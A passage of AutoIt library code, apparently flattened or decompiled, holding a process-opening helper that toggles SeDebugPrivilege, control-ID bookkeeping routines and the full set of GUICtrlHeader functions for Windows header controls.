- _security__setprivilege($htoken, "SeDebugPrivilege", True)
- Local $ierror = @error
- Local $ilasterror = @extended
- Local $iret = 0
- If NOT @error Then
- $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $finherit, "dword", $iprocessid)
- $ierror = @error
- $ilasterror = @extended
- If $aresult[0] Then $iret = $aresult[0]
- _security__setprivilege($htoken, "SeDebugPrivilege", False)
- If @error Then
- $ierror = @error
- $ilasterror = @extended
- EndIf
- EndIf
- DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $htoken)
- Return SetError($ierror, $ilasterror, $iret)
- EndFunc
- Global Const $_udf_globalids_offset = 2
- Global Const $_udf_globalid_max_win = 16
- Global Const $_udf_startid = 10000
- Global Const $_udf_globalid_max_ids = 55535
- Global Const $__udfguiconstant_ws_visible = 268435456
- Global Const $__udfguiconstant_ws_child = 1073741824
- Global $_udf_globalids_used[$_udf_globalid_max_win][$_udf_globalid_max_ids + $_udf_globalids_offset + 1]
- Func __udf_getnextglobalid($hwnd)
- Local $nctrlid, $iusedindex = -1, $fallused = True
- If NOT WinExists($hwnd) Then Return SetError(-1, -1, 0)
- For $iindex = 0 To $_udf_globalid_max_win - 1
- If $_udf_globalids_used[$iindex][0] <> 0 Then
- If NOT WinExists($_udf_globalids_used[$iindex][0]) Then
- For $x = 0 To UBound($_udf_globalids_used, 2) - 1
- $_udf_globalids_used[$iindex][$x] = 0
- Next
- $_udf_globalids_used[$iindex][1] = $_udf_startid
- $fallused = False
- EndIf
- EndIf
- Next
- For $iindex = 0 To $_udf_globalid_max_win - 1
- If $_udf_globalids_used[$iindex][0] = $hwnd Then
- $iusedindex = $iindex
- ExitLoop
- EndIf
- Next
- If $iusedindex = -1 Then
- For $iindex = 0 To $_udf_globalid_max_win - 1
- If $_udf_globalids_used[$iindex][0] = 0 Then
- $_udf_globalids_used[$iindex][0] = $hwnd
- $_udf_globalids_used[$iindex][1] = $_udf_startid
- $fallused = False
- $iusedindex = $iindex
- ExitLoop
- EndIf
- Next
- EndIf
- If $iusedindex = -1 AND $fallused Then Return SetError(16, 0, 0)
- If $_udf_globalids_used[$iusedindex][1] = $_udf_startid + $_udf_globalid_max_ids Then
- For $iidindex = $_udf_globalids_offset To UBound($_udf_globalids_used, 2) - 1
- If $_udf_globalids_used[$iusedindex][$iidindex] = 0 Then
- $nctrlid = ($iidindex - $_udf_globalids_offset) + 10000
- $_udf_globalids_used[$iusedindex][$iidindex] = $nctrlid
- Return $nctrlid
- EndIf
- Next
- Return SetError(-1, $_udf_globalid_max_ids, 0)
- EndIf
- $nctrlid = $_udf_globalids_used[$iusedindex][1]
- $_udf_globalids_used[$iusedindex][1] += 1
- $_udf_globalids_used[$iusedindex][($nctrlid - 10000) + $_udf_globalids_offset] = $nctrlid
- Return $nctrlid
- EndFunc
- Func __udf_freeglobalid($hwnd, $iglobalid)
- If $iglobalid - $_udf_startid < 0 OR $iglobalid - $_udf_startid > $_udf_globalid_max_ids Then Return SetError(-1, 0, False)
- For $iindex = 0 To $_udf_globalid_max_win - 1
- If $_udf_globalids_used[$iindex][0] = $hwnd Then
- For $x = $_udf_globalids_offset To UBound($_udf_globalids_used, 2) - 1
- If $_udf_globalids_used[$iindex][$x] = $iglobalid Then
- $_udf_globalids_used[$iindex][$x] = 0
- Return True
- EndIf
- Next
- Return SetError(-3, 0, False)
- EndIf
- Next
- Return SetError(-2, 0, False)
- EndFunc
- Func __udf_debugprint($stext, $iline = @ScriptLineNumber, $err = @error, $ext = @extended)
- ConsoleWrite("!===========================================================" & @CRLF & "+======================================================" & @CRLF & "-->Line(" & StringFormat("%04d", $iline) & "):" & @TAB & $stext & @CRLF & "+======================================================" & @CRLF)
- Return SetError($err, $ext, 1)
- EndFunc
- Func __udf_validateclassname($hwnd, $sclassnames)
- __udf_debugprint("This is for debugging only, set the debug variable to false before submitting")
- If _winapi_isclassname($hwnd, $sclassnames) Then Return True
- Local $sseparator = Opt("GUIDataSeparatorChar")
- $sclassnames = StringReplace($sclassnames, $sseparator, ",")
- __udf_debugprint("Invalid Class Type(s):" & @LF & @TAB & "Expecting Type(s): " & $sclassnames & @LF & @TAB & "Received Type : " & _winapi_getclassname($hwnd))
- Exit
- EndFunc
- Global $_ghhdrlastwnd
- Global $debug_hdr = False
- Global Const $__headerconstant_classname = "SysHeader32"
- Global Const $__headerconstant_default_gui_font = 17
- Global Const $__headerconstant_swp_showwindow = 64
- Global Const $taghdhittestinfo = $tagpoint & ";uint Flags;int Item"
- Global Const $taghdlayout = "ptr Rect;ptr WindowPos"
- Global Const $taghdtextfilter = "ptr Text;int TextMax"
- Func _guictrlheader_additem($hwnd, $stext, $iwidth = 50, $ialign = 0, $iimage = -1, $fonright = False)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Return _guictrlheader_insertitem($hwnd, _guictrlheader_getitemcount($hwnd), $stext, $iwidth, $ialign, $iimage, $fonright)
- EndFunc
- Func _guictrlheader_clearfilter($hwnd, $iindex)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Return _sendmessage($hwnd, $hdm_clearfilter, $iindex) <> 0
- EndFunc
- Func _guictrlheader_clearfilterall($hwnd)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Return _sendmessage($hwnd, $hdm_clearfilter, -1) <> 0
- EndFunc
- Func _guictrlheader_create($hwnd, $istyle = 70)
- $istyle = BitOR($istyle, $__udfguiconstant_ws_child, $__udfguiconstant_ws_visible)
- Local $nctrlid = __udf_getnextglobalid($hwnd)
- If @error Then Return SetError(@error, @extended, 0)
- Local $hheader = _winapi_createwindowex(0, $__headerconstant_classname, "", $istyle, 0, 0, 0, 0, $hwnd, $nctrlid)
- Local $trect = _winapi_getclientrect($hwnd)
- Local $twindowpos = _guictrlheader_layout($hheader, $trect)
- Local $iflags = BitOR(DllStructGetData($twindowpos, "Flags"), $__headerconstant_swp_showwindow)
- _winapi_setwindowpos($hheader, DllStructGetData($twindowpos, "InsertAfter"), DllStructGetData($twindowpos, "X"), DllStructGetData($twindowpos, "Y"), DllStructGetData($twindowpos, "CX"), DllStructGetData($twindowpos, "CY"), $iflags)
- _winapi_setfont($hheader, _winapi_getstockobject($__headerconstant_default_gui_font))
- Return $hheader
- EndFunc
- Func _guictrlheader_createdragimage($hwnd, $iindex)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Return Ptr(_sendmessage($hwnd, $hdm_createdragimage, $iindex))
- EndFunc
- Func _guictrlheader_deleteitem($hwnd, $iindex)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Return _sendmessage($hwnd, $hdm_deleteitem, $iindex) <> 0
- EndFunc
- Func _guictrlheader_destroy(ByRef $hwnd)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- If NOT _winapi_isclassname($hwnd, $__headerconstant_classname) Then Return SetError(2, 2, False)
- Local $destroyed = 0
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_ghhdrlastwnd) Then
- Local $nctrlid = _winapi_getdlgctrlid($hwnd)
- Local $hparent = _winapi_getparent($hwnd)
- $destroyed = _winapi_destroywindow($hwnd)
- Local $iret = __udf_freeglobalid($hparent, $nctrlid)
- If NOT $iret Then
- EndIf
- Else
- Return SetError(1, 1, False)
- EndIf
- Else
- $destroyed = GUICtrlDelete($hwnd)
- EndIf
- If $destroyed Then $hwnd = 0
- Return $destroyed <> 0
- EndFunc
- Func _guictrlheader_editfilter($hwnd, $iindex, $fdiscard = True)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Return _sendmessage($hwnd, $hdm_editfilter, $iindex, $fdiscard) <> 0
- EndFunc
- Func _guictrlheader_getbitmapmargin($hwnd)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Return _sendmessage($hwnd, $hdm_getbitmapmargin)
- EndFunc
- Func _guictrlheader_getimagelist($hwnd)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Return Ptr(_sendmessage($hwnd, $hdm_getimagelist))
- EndFunc
- Func _guictrlheader_getitem($hwnd, $iindex, ByRef $titem)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Local $funicode = _guictrlheader_getunicodeformat($hwnd)
- Local $iret
- If _winapi_inprocess($hwnd, $_ghhdrlastwnd) Then
- $iret = _sendmessage($hwnd, $hdm_getitemw, $iindex, $titem, 0, "wparam", "struct*")
- Else
- Local $iitem = DllStructGetSize($titem)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $iitem, $tmemmap)
- _memwrite($tmemmap, $titem)
- If $funicode Then
- $iret = _sendmessage($hwnd, $hdm_getitemw, $iindex, $pmemory, 0, "wparam", "ptr")
- Else
- $iret = _sendmessage($hwnd, $hdm_getitema, $iindex, $pmemory, 0, "wparam", "ptr")
- EndIf
- _memread($tmemmap, $pmemory, $titem, $iitem)
- _memfree($tmemmap)
- EndIf
- Return $iret <> 0
- EndFunc
- Func _guictrlheader_getitemalign($hwnd, $iindex)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Switch BitAND(_guictrlheader_getitemformat($hwnd, $iindex), $hdf_justifymask)
- Case $hdf_left
- Return 0
- Case $hdf_right
- Return 1
- Case $hdf_center
- Return 2
- Case Else
- Return - 1
- EndSwitch
- EndFunc
- Func _guictrlheader_getitembitmap($hwnd, $iindex)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Local $titem = DllStructCreate($taghditem)
- DllStructSetData($titem, "Mask", $hdi_bitmap)
- _guictrlheader_getitem($hwnd, $iindex, $titem)
- Return DllStructGetData($titem, "hBmp")
- EndFunc
- Func _guictrlheader_getitemcount($hwnd)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Return _sendmessage($hwnd, $hdm_getitemcount)
- EndFunc
- Func _guictrlheader_getitemdisplay($hwnd, $iindex)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Local $iret = 0
- Local $iformat = _guictrlheader_getitemformat($hwnd, $iindex)
- If BitAND($iformat, $hdf_bitmap) <> 0 Then $iret = BitOR($iret, 1)
- If BitAND($iformat, $hdf_bitmap_on_right) <> 0 Then $iret = BitOR($iret, 2)
- If BitAND($iformat, $hdf_ownerdraw) <> 0 Then $iret = BitOR($iret, 4)
- If BitAND($iformat, $hdf_string) <> 0 Then $iret = BitOR($iret, 8)
- Return $iret
- EndFunc
- Func _guictrlheader_getitemflags($hwnd, $iindex)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Local $iret = 0
- Local $iformat = _guictrlheader_getitemformat($hwnd, $iindex)
- If BitAND($iformat, $hdf_image) <> 0 Then $iret = BitOR($iret, 1)
- If BitAND($iformat, $hdf_rtlreading) <> 0 Then $iret = BitOR($iret, 2)
- If BitAND($iformat, $hdf_sortdown) <> 0 Then $iret = BitOR($iret, 4)
- If BitAND($iformat, $hdf_sortup) <> 0 Then $iret = BitOR($iret, 8)
- Return $iret
- EndFunc
- Func _guictrlheader_getitemformat($hwnd, $iindex)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Local $titem = DllStructCreate($taghditem)
- DllStructSetData($titem, "Mask", $hdi_format)
- _guictrlheader_getitem($hwnd, $iindex, $titem)
- Return DllStructGetData($titem, "Fmt")
- EndFunc
- Func _guictrlheader_getitemimage($hwnd, $iindex)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Local $titem = DllStructCreate($taghditem)
- DllStructSetData($titem, "Mask", $hdi_image)
- _guictrlheader_getitem($hwnd, $iindex, $titem)
- Return DllStructGetData($titem, "Image")
- EndFunc
- Func _guictrlheader_getitemorder($hwnd, $iindex)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Local $titem = DllStructCreate($taghditem)
- DllStructSetData($titem, "Mask", $hdi_order)
- _guictrlheader_getitem($hwnd, $iindex, $titem)
- Return DllStructGetData($titem, "Order")
- EndFunc
- Func _guictrlheader_getitemparam($hwnd, $iindex)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Local $titem = DllStructCreate($taghditem)
- DllStructSetData($titem, "Mask", $hdi_param)
- _guictrlheader_getitem($hwnd, $iindex, $titem)
- Return DllStructGetData($titem, "Param")
- EndFunc
- Func _guictrlheader_getitemrect($hwnd, $iindex)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Local $arect[4]
- Local $trect = _guictrlheader_getitemrectex($hwnd, $iindex)
- $arect[0] = DllStructGetData($trect, "Left")
- $arect[1] = DllStructGetData($trect, "Top")
- $arect[2] = DllStructGetData($trect, "Right")
- $arect[3] = DllStructGetData($trect, "Bottom")
- Return $arect
- EndFunc
- Func _guictrlheader_getitemrectex($hwnd, $iindex)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Local $trect = DllStructCreate($tagrect)
- If _winapi_inprocess($hwnd, $_ghhdrlastwnd) Then
- _sendmessage($hwnd, $hdm_getitemrect, $iindex, $trect, 0, "wparam", "struct*")
- Else
- Local $irect = DllStructGetSize($trect)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $irect, $tmemmap)
- _memwrite($tmemmap, $trect)
- _sendmessage($hwnd, $hdm_getitemrect, $iindex, $pmemory, 0, "wparam", "ptr")
- _memread($tmemmap, $pmemory, $trect, $irect)
- _memfree($tmemmap)
- EndIf
- Return $trect
- EndFunc
- Func _guictrlheader_getitemtext($hwnd, $iindex)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Local $funicode = _guictrlheader_getunicodeformat($hwnd)
- Local $tbuffer
- If $funicode Then
- $tbuffer = DllStructCreate("wchar Text[4096]")
- Else
- $tbuffer = DllStructCreate("char Text[4096]")
- EndIf
- Local $titem = DllStructCreate($taghditem)
- DllStructSetData($titem, "Mask", $hdi_text)
- DllStructSetData($titem, "TextMax", 4096)
- If _winapi_inprocess($hwnd, $_ghhdrlastwnd) Then
- DllStructSetData($titem, "Text", DllStructGetPtr($tbuffer))
- _sendmessage($hwnd, $hdm_getitemw, $iindex, $titem, 0, "wparam", "struct*")
- Else
- Local $iitem = DllStructGetSize($titem)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $iitem + DllStructGetSize($tbuffer), $tmemmap)
- Local $ptext = $pmemory + $iitem
- DllStructSetData($titem, "Text", $ptext)
- _memwrite($tmemmap, $titem, $pmemory, $iitem)
- If $funicode Then
- _sendmessage($hwnd, $hdm_getitemw, $iindex, $pmemory, 0, "wparam", "ptr")
- Else
- _sendmessage($hwnd, $hdm_getitema, $iindex, $pmemory, 0, "wparam", "ptr")
- EndIf
- _memread($tmemmap, $ptext, $tbuffer, DllStructGetSize($tbuffer))
- _memfree($tmemmap)
- EndIf
- Return DllStructGetData($tbuffer, "Text")
- EndFunc
- Func _guictrlheader_getitemwidth($hwnd, $iindex)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Local $titem = DllStructCreate($taghditem)
- DllStructSetData($titem, "Mask", $hdi_width)
- _guictrlheader_getitem($hwnd, $iindex, $titem)
- Return DllStructGetData($titem, "XY")
- EndFunc
- Func _guictrlheader_getorderarray($hwnd)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Local $iitems = _guictrlheader_getitemcount($hwnd)
- Local $tbuffer = DllStructCreate("int[" & $iitems & "]")
- If _winapi_inprocess($hwnd, $_ghhdrlastwnd) Then
- _sendmessage($hwnd, $hdm_getorderarray, $iitems, $tbuffer, 0, "wparam", "struct*")
- Else
- Local $ibuffer = DllStructGetSize($tbuffer)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $ibuffer, $tmemmap)
- _sendmessage($hwnd, $hdm_getorderarray, $iitems, $pmemory, 0, "wparam", "ptr")
- _memread($tmemmap, $pmemory, $tbuffer, $ibuffer)
- _memfree($tmemmap)
- EndIf
- Local $abuffer[$iitems + 1]
- $abuffer[0] = $iitems
- For $ii = 1 To $iitems
- $abuffer[$ii] = DllStructGetData($tbuffer, 1, $ii)
- Next
- Return $abuffer
- EndFunc
- Func _guictrlheader_getunicodeformat($hwnd)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Return _sendmessage($hwnd, $hdm_getunicodeformat) <> 0
- EndFunc
- Func _guictrlheader_hittest($hwnd, $ix, $iy)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Local $ttest = DllStructCreate($taghdhittestinfo)
- DllStructSetData($ttest, "X", $ix)
- DllStructSetData($ttest, "Y", $iy)
- Local $atest[11]
- If _winapi_inprocess($hwnd, $_ghhdrlastwnd) Then
- $atest[0] = _sendmessage($hwnd, $hdm_hittest, 0, $ttest, 0, "wparam", "struct*")
- Else
- Local $itest = DllStructGetSize($ttest)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $itest, $tmemmap)
- _memwrite($tmemmap, $ttest)
- $atest[0] = _sendmessage($hwnd, $hdm_hittest, 0, $pmemory, 0, "wparam", "ptr")
- _memread($tmemmap, $pmemory, $ttest, $itest)
- _memfree($tmemmap)
- EndIf
- Local $iflags = DllStructGetData($ttest, "Flags")
- $atest[1] = BitAND($iflags, $hht_nowhere) <> 0
- $atest[2] = BitAND($iflags, $hht_onheader) <> 0
- $atest[3] = BitAND($iflags, $hht_ondivider) <> 0
- $atest[4] = BitAND($iflags, $hht_ondivopen) <> 0
- $atest[5] = BitAND($iflags, $hht_onfilter) <> 0
- $atest[6] = BitAND($iflags, $hht_onfilterbutton) <> 0
- $atest[7] = BitAND($iflags, $hht_above) <> 0
- $atest[8] = BitAND($iflags, $hht_below) <> 0
- $atest[9] = BitAND($iflags, $hht_toright) <> 0
- $atest[10] = BitAND($iflags, $hht_toleft) <> 0
- Return $atest
- EndFunc
- Func _guictrlheader_insertitem($hwnd, $iindex, $stext, $iwidth = 50, $ialign = 0, $iimage = -1, $fonright = False)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Local $aalign[3] = [$hdf_left, $hdf_right, $hdf_center]
- Local $funicode = _guictrlheader_getunicodeformat($hwnd)
- Local $pbuffer, $ibuffer
- If $stext <> -1 Then
- $ibuffer = StringLen($stext) + 1
- Local $tbuffer
- If $funicode Then
- $tbuffer = DllStructCreate("wchar Text[" & $ibuffer & "]")
- $ibuffer *= 2
- Else
- $tbuffer = DllStructCreate("char Text[" & $ibuffer & "]")
- EndIf
- DllStructSetData($tbuffer, "Text", $stext)
- $pbuffer = DllStructGetPtr($tbuffer)
- Else
- $ibuffer = 0
- $pbuffer = -1
- EndIf
- Local $titem = DllStructCreate($taghditem)
- Local $ifmt = $aalign[$ialign]
- Local $imask = BitOR($hdi_width, $hdi_format)
- If $stext <> "" Then
- $imask = BitOR($imask, $hdi_text)
- $ifmt = BitOR($ifmt, $hdf_string)
- EndIf
- If $iimage <> -1 Then
- $imask = BitOR($imask, $hdi_image)
- $ifmt = BitOR($ifmt, $hdf_image)
- EndIf
- If $fonright Then $ifmt = BitOR($ifmt, $hdf_bitmap_on_right)
- DllStructSetData($titem, "Mask", $imask)
- DllStructSetData($titem, "XY", $iwidth)
- DllStructSetData($titem, "Fmt", $ifmt)
- DllStructSetData($titem, "Image", $iimage)
- Local $iret
- If _winapi_inprocess($hwnd, $_ghhdrlastwnd) Then
- DllStructSetData($titem, "Text", $pbuffer)
- $iret = _sendmessage($hwnd, $hdm_insertitemw, $iindex, $titem, 0, "wparam", "struct*")
- Else
- Local $iitem = DllStructGetSize($titem)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $iitem + $ibuffer, $tmemmap)
- If $stext <> -1 Then
- Local $ptext = $pmemory + $iitem
- DllStructSetData($titem, "Text", $ptext)
- _memwrite($tmemmap, $tbuffer, $ptext, $ibuffer)
- Else
- DllStructSetData($titem, "Text", -1)
- EndIf
- _memwrite($tmemmap, $titem, $pmemory, $iitem)
- If $funicode Then
- $iret = _sendmessage($hwnd, $hdm_insertitemw, $iindex, $pmemory, 0, "wparam", "ptr")
- Else
- $iret = _sendmessage($hwnd, $hdm_insertitema, $iindex, $pmemory, 0, "wparam", "ptr")
- EndIf
- _memfree($tmemmap)
- EndIf
- Return $iret
- EndFunc
- Func _guictrlheader_layout($hwnd, ByRef $trect)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Local $tlayout = DllStructCreate($taghdlayout)
- Local $twindowpos = DllStructCreate($tagwindowpos)
- If _winapi_inprocess($hwnd, $_ghhdrlastwnd) Then
- DllStructSetData($tlayout, "Rect", DllStructGetPtr($trect))
- DllStructSetData($tlayout, "WindowPos", DllStructGetPtr($twindowpos))
- _sendmessage($hwnd, $hdm_layout, 0, $tlayout, 0, "wparam", "struct*")
- Else
- Local $ilayout = DllStructGetSize($tlayout)
- Local $irect = DllStructGetSize($trect)
- Local $iwindowpos = DllStructGetSize($twindowpos)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $ilayout + $irect + $iwindowpos, $tmemmap)
- DllStructSetData($tlayout, "Rect", $pmemory + $ilayout)
- DllStructSetData($tlayout, "WindowPos", $pmemory + $ilayout + $irect)
- _memwrite($tmemmap, $tlayout, $pmemory, $ilayout)
- _memwrite($tmemmap, $trect, $pmemory + $ilayout, $irect)
- _sendmessage($hwnd, $hdm_layout, 0, $pmemory, 0, "wparam", "ptr")
- _memread($tmemmap, $pmemory + $ilayout + $irect, $twindowpos, $iwindowpos)
- _memfree($tmemmap)
- EndIf
- Return $twindowpos
- EndFunc
- Func _guictrlheader_ordertoindex($hwnd, $iorder)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Return _sendmessage($hwnd, $hdm_ordertoindex, $iorder)
- EndFunc
- Func _guictrlheader_setbitmapmargin($hwnd, $iwidth)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Return _sendmessage($hwnd, $hdm_setbitmapmargin, $iwidth)
- EndFunc
- Func _guictrlheader_setfilterchangetimeout($hwnd, $itimeout)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Return _sendmessage($hwnd, $hdm_setfilterchangetimeout, 0, $itimeout)
- EndFunc
- Func _guictrlheader_sethotdivider($hwnd, $iflag, $iinputvalue)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Return _sendmessage($hwnd, $hdm_sethotdivider, $iflag, $iinputvalue)
- EndFunc
- Func _guictrlheader_setimagelist($hwnd, $himage)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Return _sendmessage($hwnd, $hdm_setimagelist, 0, $himage, 0, "wparam", "handle", "handle")
- EndFunc
- Func _guictrlheader_setitem($hwnd, $iindex, ByRef $titem)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Local $funicode = _guictrlheader_getunicodeformat($hwnd)
- Local $iret
- If _winapi_inprocess($hwnd, $_ghhdrlastwnd) Then
- $iret = _sendmessage($hwnd, $hdm_setitemw, $iindex, $titem, 0, "wparam", "struct*")
- Else
- Local $iitem = DllStructGetSize($titem)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $iitem, $tmemmap)
- _memwrite($tmemmap, $titem)
- If $funicode Then
- $iret = _sendmessage($hwnd, $hdm_setitemw, $iindex, $pmemory, 0, "wparam", "ptr")
- Else
- $iret = _sendmessage($hwnd, $hdm_setitema, $iindex, $pmemory, 0, "wparam", "ptr")
- EndIf
- _memfree($tmemmap)
- EndIf
- Return $iret <> 0
- EndFunc
- Func _guictrlheader_setitemalign($hwnd, $iindex, $ialign)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Local $aalign[3] = [$hdf_left, $hdf_right, $hdf_center]
- Local $iformat = _guictrlheader_getitemformat($hwnd, $iindex)
- $iformat = BitAND($iformat, BitNOT($hdf_justifymask))
- $iformat = BitOR($iformat, $aalign[$ialign])
- Return _guictrlheader_setitemformat($hwnd, $iindex, $iformat)
- EndFunc
- Func _guictrlheader_setitembitmap($hwnd, $iindex, $hbmp)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Local $titem = DllStructCreate($taghditem)
- DllStructSetData($titem, "Mask", BitOR($hdi_format, $hdi_bitmap))
- DllStructSetData($titem, "Fmt", $hdf_bitmap)
- DllStructSetData($titem, "hBMP", $hbmp)
- Return _guictrlheader_setitem($hwnd, $iindex, $titem)
- EndFunc
- Func _guictrlheader_setitemdisplay($hwnd, $iindex, $idisplay)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Local $iformat = BitAND(_guictrlheader_getitemformat($hwnd, $iindex), NOT $hdf_displaymask)
- If BitAND($idisplay, 1) <> 0 Then $iformat = BitOR($iformat, $hdf_bitmap)
- If BitAND($idisplay, 2) <> 0 Then $iformat = BitOR($iformat, $hdf_bitmap_on_right)
- If BitAND($idisplay, 4) <> 0 Then $iformat = BitOR($iformat, $hdf_ownerdraw)
- If BitAND($idisplay, 8) <> 0 Then $iformat = BitOR($iformat, $hdf_string)
- Return _guictrlheader_setitemformat($hwnd, $iindex, $iformat)
- EndFunc
- Func _guictrlheader_setitemflags($hwnd, $iindex, $iflags)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Local $iformat = _guictrlheader_getitemformat($hwnd, $iindex)
- $iformat = BitAND($iformat, BitNOT($hdf_flagmask))
- If BitAND($iflags, 1) <> 0 Then $iformat = BitOR($iformat, $hdf_image)
- If BitAND($iflags, 2) <> 0 Then $iformat = BitOR($iformat, $hdf_rtlreading)
- If BitAND($iflags, 4) <> 0 Then $iformat = BitOR($iformat, $hdf_sortdown)
- If BitAND($iflags, 8) <> 0 Then $iformat = BitOR($iformat, $hdf_sortup)
- Return _guictrlheader_setitemformat($hwnd, $iindex, $iformat)
- EndFunc
- Func _guictrlheader_setitemformat($hwnd, $iindex, $iformat)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Local $titem = DllStructCreate($taghditem)
- DllStructSetData($titem, "Mask", $hdi_format)
- DllStructSetData($titem, "Fmt", $iformat)
- Return _guictrlheader_setitem($hwnd, $iindex, $titem)
- EndFunc
- Func _guictrlheader_setitemimage($hwnd, $iindex, $iimage)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Local $titem = DllStructCreate($taghditem)
- DllStructSetData($titem, "Mask", $hdi_image)
- DllStructSetData($titem, "Image", $iimage)
- Return _guictrlheader_setitem($hwnd, $iindex, $titem)
- EndFunc
- Func _guictrlheader_setitemorder($hwnd, $iindex, $iorder)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Local $titem = DllStructCreate($taghditem)
- DllStructSetData($titem, "Mask", $hdi_order)
- DllStructSetData($titem, "Order", $iorder)
- Return _guictrlheader_setitem($hwnd, $iindex, $titem)
- EndFunc
- Func _guictrlheader_setitemparam($hwnd, $iindex, $iparam)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Local $titem = DllStructCreate($taghditem)
- DllStructSetData($titem, "Mask", $hdi_param)
- DllStructSetData($titem, "Param", $iparam)
- Return _guictrlheader_setitem($hwnd, $iindex, $titem)
- EndFunc
- Func _guictrlheader_setitemtext($hwnd, $iindex, $stext)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Local $funicode = _guictrlheader_getunicodeformat($hwnd)
- Local $ibuffer, $pbuffer
- If $stext <> -1 Then
- $ibuffer = StringLen($stext) + 1
- Local $tbuffer
- If $funicode Then
- $tbuffer = DllStructCreate("wchar Text[" & $ibuffer & "]")
- $ibuffer *= 2
- Else
- $tbuffer = DllStructCreate("char Text[" & $ibuffer & "]")
- EndIf
- DllStructSetData($tbuffer, "Text", $stext)
- $pbuffer = DllStructGetPtr($tbuffer)
- Else
- $ibuffer = 0
- $pbuffer = -1
- EndIf
- Local $titem = DllStructCreate($taghditem)
- DllStructSetData($titem, "Mask", $hdi_text)
- DllStructSetData($titem, "TextMax", $ibuffer)
- Local $iret
- If _winapi_inprocess($hwnd, $_ghhdrlastwnd) Then
- DllStructSetData($titem, "Text", $pbuffer)
- $iret = _sendmessage($hwnd, $hdm_setitemw, $iindex, $titem, 0, "wparam", "struct*")
- Else
- Local $iitem = DllStructGetSize($titem)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $iitem + $ibuffer, $tmemmap)
- If $stext <> -1 Then
- Local $ptext = $pmemory + $iitem
- DllStructSetData($titem, "Text", $ptext)
- _memwrite($tmemmap, $tbuffer, $ptext, $ibuffer)
- Else
- DllStructSetData($titem, "Text", -1)
- EndIf
- _memwrite($tmemmap, $titem, $pmemory, $iitem)
- If $funicode Then
- $iret = _sendmessage($hwnd, $hdm_setitemw, $iindex, $pmemory, 0, "wparam", "ptr")
- Else
- $iret = _sendmessage($hwnd, $hdm_setitema, $iindex, $pmemory, 0, "wparam", "ptr")
- EndIf
- _memfree($tmemmap)
- EndIf
- Return $iret <> 0
- EndFunc
- Func _guictrlheader_setitemwidth($hwnd, $iindex, $iwidth)
- If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
- Local $titem = DllStructCreate($taghditem)
- DllStructSetData($titem, "Mask", $hdi_width)
- DllStructSetData($titem, "XY", $iwidth)
- Return _guictrlheader_setitem($hwnd, $iindex, $titem)
- EndFunc
